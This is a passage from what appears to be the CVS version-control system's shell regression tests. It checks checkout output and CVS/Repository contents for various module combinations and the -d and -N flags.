dir2d1/CVS/Repository\" \"\\.\"\n\t dotest cvsadm-25h \"cat dir2d1/sub2d1/CVS/Repository\" \"mod1\"\n\t rm -rf CVS dir1d2 dir2d1\n\n\t dotest cvsadm-26 \"${testcvs} co 1d2mod 2d2mod\" \\\n\"${PROG} checkout: Updating dir1d2\nU dir1d2/file2\n${PROG} checkout: Updating dir2d2/sub2d2\nU dir2d2/sub2d2/file2\"\n\t # the usual for the top level\n\t dotest cvsadm-26b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for 1d2mod\n\t dotest cvsadm-26d \"cat dir1d2/CVS/Repository\" \"mod2/sub2\"\n\t # the usual for 2d2mod\n\t dotest cvsadm-26f \"cat dir2d2/CVS/Repository\" \"mod2\"\n\t dotest cvsadm-26h \"cat dir2d2/sub2d2/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS dir1d2 dir2d2\n\n\n\t # 2d1mod\n\n\t dotest cvsadm-27 \"${testcvs} co 2d1mod 2d1mod-2\" \\\n\"${PROG} checkout: Updating dir2d1/sub2d1\nU dir2d1/sub2d1/file1\n${PROG} checkout: Updating dir2d1-2/sub2d1-2\nU dir2d1-2/sub2d1-2/file1-2\"\n\t # the usual for the top level\n\t dotest cvsadm-27b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for 2d1mod\n\t dotest cvsadm-27d \"cat dir2d1/CVS/Repository\" \"\\.\"\n\t dotest cvsadm-27f \"cat dir2d1/sub2d1/CVS/Repository\" \"mod1\"\n\t # the usual for 2d1mod\n\t dotest cvsadm-27h \"cat dir2d1-2/CVS/Repository\" \"\\.\"\n\t dotest cvsadm-27j \"cat dir2d1-2/sub2d1-2/CVS/Repository\" \"mod1-2\"\n\t rm -rf CVS dir2d1 dir2d1-2\n\n\t dotest cvsadm-28 \"${testcvs} co 2d1mod 2d2mod\" \\\n\"${PROG} checkout: Updating dir2d1/sub2d1\nU dir2d1/sub2d1/file1\n${PROG} checkout: Updating dir2d2/sub2d2\nU dir2d2/sub2d2/file2\"\n\t # the usual for the top level\n\t dotest cvsadm-28b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for 2d1mod\n\t dotest cvsadm-28d \"cat dir2d1/CVS/Repository\" \"\\.\"\n\t dotest cvsadm-28f \"cat dir2d1/sub2d1/CVS/Repository\" \"mod1\"\n\t # the usual for 2d2mod\n\t dotest cvsadm-28h \"cat dir2d2/CVS/Repository\" \"mod2\"\n\t dotest cvsadm-28j \"cat dir2d2/sub2d2/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS dir2d1 dir2d2\n\n\t \n\t # 2d2mod\n\n\t dotest cvsadm-29 \"${testcvs} co 2d2mod 2d2mod-2\" \\\n\"${PROG} checkout: Updating dir2d2/sub2d2\nU dir2d2/sub2d2/file2\n${PROG} checkout: Updating dir2d2-2/sub2d2-2\nU dir2d2-2/sub2d2-2/file2-2\"\n\t # the usual for the top level\n\t dotest cvsadm-29b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for 2d2mod\n\t dotest cvsadm-29d \"cat dir2d2/CVS/Repository\" \"mod2\"\n\t dotest cvsadm-29f \"cat dir2d2/sub2d2/CVS/Repository\" \"mod2/sub2\"\n\t # the usual for 2d2mod\n\t dotest cvsadm-29h \"cat dir2d2-2/CVS/Repository\" \"mod2-2\"\n\t dotest cvsadm-29j \"cat dir2d2-2/sub2d2-2/CVS/Repository\" \\\n\"mod2-2/sub2-2\"\n\t rm -rf CVS dir2d2 dir2d2-2\n\n\t ##################################################\n\t ## And now, all of that again using the \"-d\" flag\n\t ## on the command line.\n\t ##################################################\n\n\t dotest cvsadm-1d3 \"${testcvs} co -d dir 1mod\" \\\n\"${PROG} checkout: Updating dir\nU dir/file1\"\n\t dotest cvsadm-1d3b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-1d3d \"cat dir/CVS/Repository\" \"mod1\"\n\t rm -rf CVS dir\n\n\t dotest cvsadm-1d4 \"${testcvs} co -d dir 2mod\" \\\n\"${PROG} checkout: Updating dir\nU dir/file2\"\n\t dotest cvsadm-1d4b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-1d4d \"cat dir/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS dir\n\n\t dotest cvsadm-1d5 \"${testcvs} co -d dir 1d1mod\" \\\n\"${PROG} checkout: Updating dir\nU dir/file1\"\n\t dotest cvsadm-1d5b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-1d5d \"cat dir/CVS/Repository\" \"mod1\"\n\t rm -rf CVS dir\n\n\t dotest cvsadm-1d6 \"${testcvs} co -d dir 1d2mod\" \\\n\"${PROG} checkout: Updating dir\nU dir/file2\"\n\t dotest cvsadm-1d6b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-1d6d \"cat dir/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS dir\n\n\t dotest cvsadm-1d7 \"${testcvs} co -d dir 2d1mod\" \\\n\"${PROG} checkout: Updating dir\nU dir/file1\"\n\t dotest cvsadm-1d7b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-1d7d \"cat dir/CVS/Repository\" \"mod1\"\n\t rm -rf CVS dir\n\n\t dotest cvsadm-1d8 \"${testcvs} co -d dir 2d2mod\" \\\n\"${PROG} checkout: Updating dir\nU dir/file2\"\n\t dotest cvsadm-1d8b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-1d8d \"cat dir/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS dir\n\n\t ##################################################\n\t ## Los Combonaciones\n\t ##################################################\n\n\t ### 1mod\n\n\t dotest cvsadm-1d9 \"${testcvs} co -d dir 1mod 1mod-2\" \\\n\"${PROG} checkout: Updating dir/1mod\nU dir/1mod/file1\n${PROG} checkout: Updating dir/1mod-2\nU dir/1mod-2/file1-2\"\n\t # the usual for the top level\n\t dotest cvsadm-1d9b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for the dir level\n\t dotest cvsadm-1d9d \"cat dir/CVS/Repository\" \"\\.\"\n\t # the usual for 1mod\n\t dotest cvsadm-1d9f \"cat dir/1mod/CVS/Repository\" \"mod1\"\n\t # the usual for 1mod copy\n\t dotest cvsadm-1d9h \"cat dir/1mod-2/CVS/Repository\" \"mod1-2\"\n\t rm -rf CVS dir\n\n\t # 1mod 2mod redmod bluemod\n\t dotest cvsadm-1d10 \"${testcvs} co -d dir 1mod 2mod\" \\\n\"${PROG} checkout: Updating dir/1mod\nU dir/1mod/file1\n${PROG} checkout: Updating dir/2mod\nU dir/2mod/file2\"\n\t dotest cvsadm-1d10b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for the dir level\n\t dotest cvsadm-1d10d \"cat dir/CVS/Repository\" \"\\.\"\n\t # the usual for 1mod\n\t dotest cvsadm-1d10f \"cat dir/1mod/CVS/Repository\" \"mod1\"\n\t # the usual for 2dmod\n\t dotest cvsadm-1d10h \"cat dir/2mod/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS dir\n\n\t dotest cvsadm-1d11 \"${testcvs} co -d dir 1mod 1d1mod\" \\\n\"${PROG} checkout: Updating dir/1mod\nU dir/1mod/file1\n${PROG} checkout: Updating dir/dir1d1\nU dir/dir1d1/file1\"\n\t dotest cvsadm-1d11b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for the dir level\n\t dotest cvsadm-1d11d \"cat dir/CVS/Repository\" \"\\.\"\n\t # the usual for 1mod\n\t dotest cvsadm-1d11f \"cat dir/1mod/CVS/Repository\" \"mod1\"\n\t # the usual for 1d1mod\n\t dotest cvsadm-1d11h \"cat dir/dir1d1/CVS/Repository\" \"mod1\"\n\t rm -rf CVS dir\n\n\t dotest cvsadm-1d12 \"${testcvs} co -d dir 1mod 1d2mod\" \\\n\"${PROG} checkout: Updating dir/1mod\nU dir/1mod/file1\n${PROG} checkout: Updating dir/dir1d2\nU dir/dir1d2/file2\"\n\t dotest cvsadm-1d12b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for the dir level\n\t dotest cvsadm-1d12d \"cat dir/CVS/Repository\" \"\\.\"\n\t # the usual for 1mod\n\t dotest cvsadm-1d12f \"cat dir/1mod/CVS/Repository\" \"mod1\"\n\t # the usual for 1d2mod\n\t dotest cvsadm-1d12h \"cat dir/dir1d2/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS dir\n\n\t dotest cvsadm-1d13 \"${testcvs} co -d dir 1mod 2d1mod\" \\\n\"${PROG} checkout: Updating dir/1mod\nU dir/1mod/file1\n${PROG} checkout: Updating dir/dir2d1/sub2d1\nU dir/dir2d1/sub2d1/file1\"\n\t dotest cvsadm-1d13b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for the dir level\n\t dotest cvsadm-1d13d \"cat dir/CVS/Repository\" \"\\.\"\n\t # the usual for 1mod\n\t dotest cvsadm-1d13f \"cat dir/1mod/CVS/Repository\" \"mod1\"\n\t # the usual for 2d1mod\n\t dotest cvsadm-1d13h \"cat dir/dir2d1/CVS/Repository\" \"\\.\"\n\t dotest cvsadm-1d13j \"cat dir/dir2d1/sub2d1/CVS/Repository\" \"mod1\"\n\t rm -rf CVS dir\n\n\t dotest cvsadm-1d14 \"${testcvs} co -d dir 1mod 2d2mod\" \\\n\"${PROG} checkout: Updating dir/1mod\nU dir/1mod/file1\n${PROG} checkout: Updating dir/dir2d2/sub2d2\nU dir/dir2d2/sub2d2/file2\"\n\t dotest cvsadm-1d14b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for the dir level\n\t dotest cvsadm-1d14d \"cat dir/CVS/Repository\" \"\\.\"\n\t # the usual for 1mod\n\t dotest cvsadm-1d14f \"cat dir/1mod/CVS/Repository\" \"mod1\"\n\t # the usual for 2d2mod\n\t dotest cvsadm-1d14h \"cat dir/dir2d2/CVS/Repository\" \"mod2\"\n\t dotest cvsadm-1d14j \"cat dir/dir2d2/sub2d2/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS dir\n\n\n\t ### 2mod\n\n\t dotest cvsadm-1d15 \"${testcvs} co -d dir 2mod 2mod-2\" \\\n\"${PROG} checkout: Updating dir/2mod\nU dir/2mod/file2\n${PROG} checkout: Updating dir/2mod-2\nU dir/2mod-2/file2-2\"\n\t dotest cvsadm-1d15b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for the dir level\n\t dotest cvsadm-1d15d \"cat dir/CVS/Repository\" \"mod2\"\n\t # the usual for 2mod\n\t dotest cvsadm-1d15f \"cat dir/2mod/CVS/Repository\" \"mod2/sub2\"\n\t # the usual for 2mod copy\n\t dotest cvsadm-1d15h \"cat dir/2mod-2/CVS/Repository\" \"mod2-2/sub2-2\"\n\t rm -rf CVS dir\n\n\t dotest cvsadm-1d16 \"${testcvs} co -d dir 2mod 1d1mod\" \\\n\"${PROG} checkout: Updating dir/2mod\nU dir/2mod/file2\n${PROG} checkout: Updating dir/dir1d1\nU dir/dir1d1/file1\"\n\t dotest cvsadm-1d16b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for the dir level\n\t dotest cvsadm-1d16d \"cat dir/CVS/Repository\" \"mod2\"\n\t # the usual for 2mod\n\t dotest cvsadm-1d16f \"cat dir/2mod/CVS/Repository\" \"mod2/sub2\"\n\t # the usual for 1d1mod\n\t dotest cvsadm-1d16h \"cat dir/dir1d1/CVS/Repository\" \"mod1\"\n\t rm -rf CVS dir\n\n\t dotest cvsadm-1d17 \"${testcvs} co -d dir 2mod 1d2mod\" \\\n\"${PROG} checkout: Updating dir/2mod\nU dir/2mod/file2\n${PROG} checkout: Updating dir/dir1d2\nU dir/dir1d2/file2\"\n\t dotest cvsadm-1d17b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for the dir level\n\t dotest cvsadm-1d17d \"cat dir/CVS/Repository\" \"mod2\"\n\t # the usual for 2mod\n\t dotest cvsadm-1d17f \"cat dir/2mod/CVS/Repository\" \"mod2/sub2\"\n\t # the usual for 1d2mod\n\t dotest cvsadm-1d17h \"cat dir/dir1d2/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS dir\n\n\t dotest cvsadm-1d18 \"${testcvs} co -d dir 2mod 2d1mod\" \\\n\"${PROG} checkout: Updating dir/2mod\nU dir/2mod/file2\n${PROG} checkout: Updating dir/dir2d1/sub2d1\nU dir/dir2d1/sub2d1/file1\"\n\t dotest cvsadm-1d18b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for the dir level\n\t dotest cvsadm-1d18d \"cat dir/CVS/Repository\" \"mod2\"\n\t # the usual for 2mod\n\t dotest cvsadm-1d18f \"cat dir/2mod/CVS/Repository\" \"mod2/sub2\"\n\t # the usual for 2d1mod\n\t dotest cvsadm-1d18h \"cat dir/dir2d1/CVS/Repository\" \"\\.\"\n\t dotest cvsadm-1d18j \"cat dir/dir2d1/sub2d1/CVS/Repository\" \"mod1\"\n\t rm -rf CVS dir\n\n\t dotest cvsadm-1d19 \"${testcvs} co -d dir 2mod 2d2mod\" \\\n\"${PROG} checkout: Updating dir/2mod\nU dir/2mod/file2\n${PROG} checkout: Updating dir/dir2d2/sub2d2\nU dir/dir2d2/sub2d2/file2\"\n\t dotest cvsadm-1d19b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for the dir level\n\t dotest cvsadm-1d19d \"cat dir/CVS/Repository\" \"mod2\"\n\t # the usual for 2mod\n\t dotest cvsadm-1d19f \"cat dir/2mod/CVS/Repository\" \"mod2/sub2\"\n\t # the usual for 2d2mod\n\t dotest cvsadm-1d19h \"cat dir/dir2d2/CVS/Repository\" \"mod2\"\n\t dotest cvsadm-1d19j \"cat dir/dir2d2/sub2d2/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS dir\n\n\n\t ### 1d1mod\n\n\t dotest cvsadm-1d20 \"${testcvs} co -d dir 1d1mod 1d1mod-2\" \\\n\"${PROG} checkout: Updating dir/dir1d1\nU dir/dir1d1/file1\n${PROG} checkout: Updating dir/dir1d1-2\nU dir/dir1d1-2/file1-2\"\n\t dotest cvsadm-1d20b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for the dir level\n\t dotest cvsadm-1d20d \"cat dir/CVS/Repository\" \"\\.\"\n\t # the usual for 1d1mod\n\t dotest cvsadm-1d20f \"cat dir/dir1d1/CVS/Repository\" \"mod1\"\n\t # the usual for 1d1mod copy\n\t dotest cvsadm-1d20h \"cat dir/dir1d1-2/CVS/Repository\" \"mod1-2\"\n\t rm -rf CVS dir\n\n\t dotest cvsadm-1d21 \"${testcvs} co -d dir 1d1mod 1d2mod\" \\\n\"${PROG} checkout: Updating dir/dir1d1\nU dir/dir1d1/file1\n${PROG} checkout: Updating dir/dir1d2\nU dir/dir1d2/file2\"\n\t dotest cvsadm-1d21b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for the dir level\n\t dotest cvsadm-1d21d \"cat dir/CVS/Repository\" \"\\.\"\n\t # the usual for 1d1mod\n\t dotest cvsadm-1d21f \"cat dir/dir1d1/CVS/Repository\" \"mod1\"\n\t # the usual for 1d2mod\n\t dotest cvsadm-1d21h \"cat dir/dir1d2/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS dir\n\n\t dotest cvsadm-1d22 \"${testcvs} co -d dir 1d1mod 2d1mod\" \\\n\"${PROG} checkout: Updating dir/dir1d1\nU dir/dir1d1/file1\n${PROG} checkout: Updating dir/dir2d1/sub2d1\nU dir/dir2d1/sub2d1/file1\"\n\t dotest cvsadm-1d22b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for the dir level\n\t dotest cvsadm-1d22d \"cat dir/CVS/Repository\" \"\\.\"\n\t # the usual for 1d1mod\n\t dotest cvsadm-1d22f \"cat dir/dir1d1/CVS/Repository\" \"mod1\"\n\t # the usual for 2d1mod\n\t dotest cvsadm-1d22h \"cat dir/dir2d1/CVS/Repository\" \"\\.\"\n\t dotest cvsadm-1d22j \"cat dir/dir2d1/sub2d1/CVS/Repository\" \"mod1\"\n\t rm -rf CVS dir\n\n\t dotest cvsadm-1d23 \"${testcvs} co -d dir 1d1mod 2d2mod\" \\\n\"${PROG} checkout: Updating dir/dir1d1\nU dir/dir1d1/file1\n${PROG} checkout: Updating dir/dir2d2/sub2d2\nU dir/dir2d2/sub2d2/file2\"\n\t dotest cvsadm-1d23b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for the dir level\n\t dotest cvsadm-1d23d \"cat dir/CVS/Repository\" \"\\.\"\n\t # the usual for 1d1mod\n\t dotest cvsadm-1d23f \"cat dir/dir1d1/CVS/Repository\" \"mod1\"\n\t # the usual for 2d2mod\n\t dotest cvsadm-1d23h \"cat dir/dir2d2/CVS/Repository\" \"mod2\"\n\t dotest cvsadm-1d23j \"cat dir/dir2d2/sub2d2/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS dir\n\n\n\t ### 1d2mod\n\n\t dotest cvsadm-1d24 \"${testcvs} co -d dir 1d2mod 1d2mod-2\" \\\n\"${PROG} checkout: Updating dir/dir1d2\nU dir/dir1d2/file2\n${PROG} checkout: Updating dir/dir1d2-2\nU dir/dir1d2-2/file2-2\"\n\t dotest cvsadm-1d24b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for the dir level\n\t dotest cvsadm-1d24d \"cat dir/CVS/Repository\" \"mod2\"\n\t # the usual for 1d2mod\n\t dotest cvsadm-1d24f \"cat dir/dir1d2/CVS/Repository\" \"mod2/sub2\"\n\t # the usual for 1d2mod copy\n\t dotest cvsadm-1d24h \"cat dir/dir1d2-2/CVS/Repository\" \"mod2-2/sub2-2\"\n\t rm -rf CVS dir\n\n\t dotest cvsadm-1d25 \"${testcvs} co -d dir 1d2mod 2d1mod\" \\\n\"${PROG} checkout: Updating dir/dir1d2\nU dir/dir1d2/file2\n${PROG} checkout: Updating dir/dir2d1/sub2d1\nU dir/dir2d1/sub2d1/file1\"\n\t dotest cvsadm-1d25b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for the dir level\n\t dotest cvsadm-1d25d \"cat dir/CVS/Repository\" \"mod2\"\n\t # the usual for 1d2mod\n\t dotest cvsadm-1d25f \"cat dir/dir1d2/CVS/Repository\" \"mod2/sub2\"\n\t # the usual for 2d1mod\n\t dotest cvsadm-1d25h \"cat dir/dir2d1/CVS/Repository\" \"\\.\"\n\t dotest cvsadm-1d25j \"cat dir/dir2d1/sub2d1/CVS/Repository\" \"mod1\"\n\t rm -rf CVS dir\n\n\t dotest cvsadm-1d26 \"${testcvs} co -d dir 1d2mod 2d2mod\" \\\n\"${PROG} checkout: Updating dir/dir1d2\nU dir/dir1d2/file2\n${PROG} checkout: Updating dir/dir2d2/sub2d2\nU dir/dir2d2/sub2d2/file2\"\n\t dotest cvsadm-1d26b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for the dir level\n\t dotest cvsadm-1d26d \"cat dir/CVS/Repository\" \"mod2\"\n\t # the usual for 1d2mod\n\t dotest cvsadm-1d26f \"cat dir/dir1d2/CVS/Repository\" \"mod2/sub2\"\n\t # the usual for 2d2mod\n\t dotest cvsadm-1d26h \"cat dir/dir2d2/CVS/Repository\" \"mod2\"\n\t dotest cvsadm-1d26j \"cat dir/dir2d2/sub2d2/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS dir\n\n\n\t # 2d1mod\n\n\t dotest cvsadm-1d27 \"${testcvs} co -d dir 2d1mod 2d1mod-2\" \\\n\"${PROG} checkout: Updating dir/dir2d1/sub2d1\nU dir/dir2d1/sub2d1/file1\n${PROG} checkout: Updating dir/dir2d1-2/sub2d1-2\nU dir/dir2d1-2/sub2d1-2/file1-2\"\n\t dotest cvsadm-1d27b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for the dir level\n\t dotest cvsadm-1d27d \"cat dir/CVS/Repository\" \"CVSROOT/Emptydir\"\n\t # the usual for 2d1mod\n\t dotest cvsadm-1d27f \"cat dir/dir2d1/CVS/Repository\" \"\\.\"\n\t dotest cvsadm-1d27h \"cat dir/dir2d1/sub2d1/CVS/Repository\" \"mod1\"\n\t # the usual for 2d1mod\n\t dotest cvsadm-1d27j \"cat dir/dir2d1-2/CVS/Repository\" \"\\.\"\n\t dotest cvsadm-1d27l \"cat dir/dir2d1-2/sub2d1-2/CVS/Repository\" \\\n\"mod1-2\"\n\t rm -rf CVS dir\n\n\t dotest cvsadm-1d28 \"${testcvs} co -d dir 2d1mod 2d2mod\" \\\n\"${PROG} checkout: Updating dir/dir2d1/sub2d1\nU dir/dir2d1/sub2d1/file1\n${PROG} checkout: Updating dir/dir2d2/sub2d2\nU dir/dir2d2/sub2d2/file2\"\n\t dotest cvsadm-1d28b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for the dir level\n\t dotest cvsadm-1d28d \"cat dir/CVS/Repository\" \"CVSROOT/Emptydir\"\n\t # the usual for 2d1mod\n\t dotest cvsadm-1d28f \"cat dir/dir2d1/CVS/Repository\" \"\\.\"\n\t dotest cvsadm-1d28h \"cat dir/dir2d1/sub2d1/CVS/Repository\" \"mod1\"\n\t # the usual for 2d2mod\n\t dotest cvsadm-1d28j \"cat dir/dir2d2/CVS/Repository\" \"mod2\"\n\t dotest cvsadm-1d28l \"cat dir/dir2d2/sub2d2/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS dir\n\n\t \n\t # 2d2mod\n\n\t dotest cvsadm-1d29 \"${testcvs} co -d dir 2d2mod 2d2mod-2\" \\\n\"${PROG} checkout: Updating dir/dir2d2/sub2d2\nU dir/dir2d2/sub2d2/file2\n${PROG} checkout: Updating dir/dir2d2-2/sub2d2-2\nU dir/dir2d2-2/sub2d2-2/file2-2\"\n\t dotest cvsadm-1d29b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for the dir level\n\t dotest cvsadm-1d29d \"cat dir/CVS/Repository\" \"\\.\"\n\t # the usual for 2d2mod\n\t dotest cvsadm-1d29f \"cat dir/dir2d2/CVS/Repository\" \"mod2\"\n\t dotest cvsadm-1d29h \"cat dir/dir2d2/sub2d2/CVS/Repository\" \"mod2/sub2\"\n\t # the usual for 2d2mod\n\t dotest cvsadm-1d29j \"cat dir/dir2d2-2/CVS/Repository\" \"mod2-2\"\n\t dotest cvsadm-1d29l \"cat dir/dir2d2-2/sub2d2-2/CVS/Repository\" \\\n\"mod2-2/sub2-2\"\n\t rm -rf CVS dir\n\n\t ##################################################\n\t ## And now, some of that again using the \"-d\" flag\n\t ## on the command line, but use a longer path.\n\t ##################################################\n\n\t dotest_fail cvsadm-2d3-1 \"${testcvs} co -d dir/dir2 1mod\" \\\n\"${PROG} \\[checkout aborted\\]: could not change directory to requested checkout directory .dir.: No such file or directory\"\n\n\t if $remote; then :; else\n\t # Remote can't handle this, even with the \"mkdir dir\".\n\t # This was also true of CVS 1.9.\n\n\t mkdir dir\n\t dotest cvsadm-2d3 \"${testcvs} co -d dir/dir2 1mod\" \\\n\"${PROG} checkout: Updating dir/dir2\nU dir/dir2/file1\"\n\t dotest cvsadm-2d3b \"cat CVS/Repository\" \"\\.\"\n\t dotest_fail cvsadm-2d3d \"test -f dir/CVS/Repository\" \"\"\n\t dotest cvsadm-2d3f \"cat dir/dir2/CVS/Repository\" \"mod1\"\n\t rm -rf CVS dir\n\n\t mkdir dir\n\t dotest cvsadm-2d4 \"${testcvs} co -d dir/dir2 2mod\" \\\n\"${PROG} checkout: Updating dir/dir2\nU dir/dir2/file2\"\n\t dotest cvsadm-2d4b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-2d4f \"cat dir/dir2/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS dir\n\n\t mkdir dir\n\t dotest cvsadm-2d5 \"${testcvs} co -d dir/dir2 1d1mod\" \\\n\"${PROG} checkout: Updating dir/dir2\nU dir/dir2/file1\"\n\t dotest cvsadm-2d5b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-2d5f \"cat dir/dir2/CVS/Repository\" \"mod1\"\n\t rm -rf CVS dir\n\n\t mkdir dir\n\t dotest cvsadm-2d6 \"${testcvs} co -d dir/dir2 1d2mod\" \\\n\"${PROG} checkout: Updating dir/dir2\nU dir/dir2/file2\"\n\t dotest cvsadm-2d6b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-2d6f \"cat dir/dir2/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS dir\n\n\t mkdir dir\n\t dotest cvsadm-2d7 \"${testcvs} co -d dir/dir2 2d1mod\" \\\n\"${PROG} checkout: Updating dir/dir2\nU dir/dir2/file1\"\n\t dotest cvsadm-2d7b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-2d7f \"cat dir/dir2/CVS/Repository\" \"mod1\"\n\t rm -rf CVS dir\n\n\t mkdir dir\n\t dotest cvsadm-2d8 \"${testcvs} co -d dir/dir2 2d2mod\" \\\n\"${PROG} checkout: Updating dir/dir2\nU dir/dir2/file2\"\n\t dotest cvsadm-2d8b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-2d8f \"cat dir/dir2/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS dir\n\n\t ##################################################\n\t ## And now, a few of those tests revisited to\n\t ## test the behavior of the -N flag.\n\t ##################################################\n\n\t dotest cvsadm-N3 \"${testcvs} co -N 1mod\" \\\n\"${PROG} checkout: Updating 1mod\nU 1mod/file1\"\n\t dotest cvsadm-N3b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-N3d \"cat 1mod/CVS/Repository\" \"mod1\"\n\t rm -rf CVS 1mod\n\n\t dotest cvsadm-N4 \"${testcvs} co -N 2mod\" \\\n\"${PROG} checkout: Updating 2mod\nU 2mod/file2\"\n\t dotest cvsadm-N4b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-N4d \"cat 2mod/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS 2mod\n\n\t dotest cvsadm-N5 \"${testcvs} co -N 1d1mod\" \\\n\"${PROG} checkout: Updating dir1d1\nU dir1d1/file1\"\n\t dotest cvsadm-N5b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-N5d \"cat dir1d1/CVS/Repository\" \"mod1\"\n\t rm -rf CVS dir1d1\n\n\t dotest cvsadm-N6 \"${testcvs} co -N 1d2mod\" \\\n\"${PROG} checkout: Updating dir1d2\nU dir1d2/file2\"\n\t dotest cvsadm-N6b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-N6d \"cat dir1d2/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS dir1d2\n\n\t dotest cvsadm-N7 \"${testcvs} co -N 2d1mod\" \\\n\"${PROG} checkout: Updating dir2d1/sub2d1\nU dir2d1/sub2d1/file1\"\n\t dotest cvsadm-N7b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-N7d \"cat dir2d1/CVS/Repository\" \"\\.\"\n\t dotest cvsadm-N7f \"cat dir2d1/sub2d1/CVS/Repository\" \"mod1\"\n\t rm -rf CVS dir2d1\n\n\t dotest cvsadm-N8 \"${testcvs} co -N 2d2mod\" \\\n\"${PROG} checkout: Updating dir2d2/sub2d2\nU dir2d2/sub2d2/file2\"\n\t dotest cvsadm-N8b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-N8d \"cat dir2d2/CVS/Repository\" \"mod2\"\n\t dotest cvsadm-N8f \"cat dir2d2/sub2d2/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS dir2d2\n\n\t ## the ones in one-deep directories\n\n\t dotest cvsadm-N1d3 \"${testcvs} co -N -d dir 1mod\" \\\n\"${PROG} checkout: Updating dir/1mod\nU dir/1mod/file1\"\n\t dotest cvsadm-N1d3b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-N1d3d \"cat dir/CVS/Repository\" \"\\.\"\n\t dotest cvsadm-N1d3f \"cat dir/1mod/CVS/Repository\" \"mod1\"\n\t rm -rf CVS dir\n\n\t dotest cvsadm-N1d4 \"${testcvs} co -N -d dir 2mod\" \\\n\"${PROG} checkout: Updating dir/2mod\nU dir/2mod/file2\"\n\t dotest cvsadm-N1d4b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-N1d4d \"cat dir/CVS/Repository\" \"mod2\"\n\t dotest cvsadm-N1d4f \"cat dir/2mod/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS dir\n\n\t dotest cvsadm-N1d5 \"${testcvs} co -N -d dir 1d1mod\" \\\n\"${PROG} checkout: Updating dir/dir1d1\nU dir/dir1d1/file1\"\n\t dotest cvsadm-N1d5b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-N1d5d \"cat dir/CVS/Repository\" \"\\.\"\n\t dotest cvsadm-N1d5d \"cat dir/dir1d1/CVS/Repository\" \"mod1\"\n\t rm -rf CVS dir\n\n\t dotest cvsadm-N1d6 \"${testcvs} co -N -d dir 1d2mod\" \\\n\"${PROG} checkout: Updating dir/dir1d2\nU dir/dir1d2/file2\"\n\t dotest cvsadm-N1d6b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-N1d6d \"cat dir/CVS/Repository\" \"mod2\"\n\t dotest cvsadm-N1d6f \"cat dir/dir1d2/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS dir\n\n\t dotest cvsadm-N1d7 \"${testcvs} co -N -d dir 2d1mod\" \\\n\"${PROG} checkout: Updating dir/dir2d1/sub2d1\nU dir/dir2d1/sub2d1/file1\"\n\t dotest cvsadm-N1d7b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-N1d7d \"cat dir/CVS/Repository\" \"CVSROOT/Emptydir\"\n\t dotest cvsadm-N1d7f \"cat dir/dir2d1/CVS/Repository\" \"\\.\"\n\t dotest 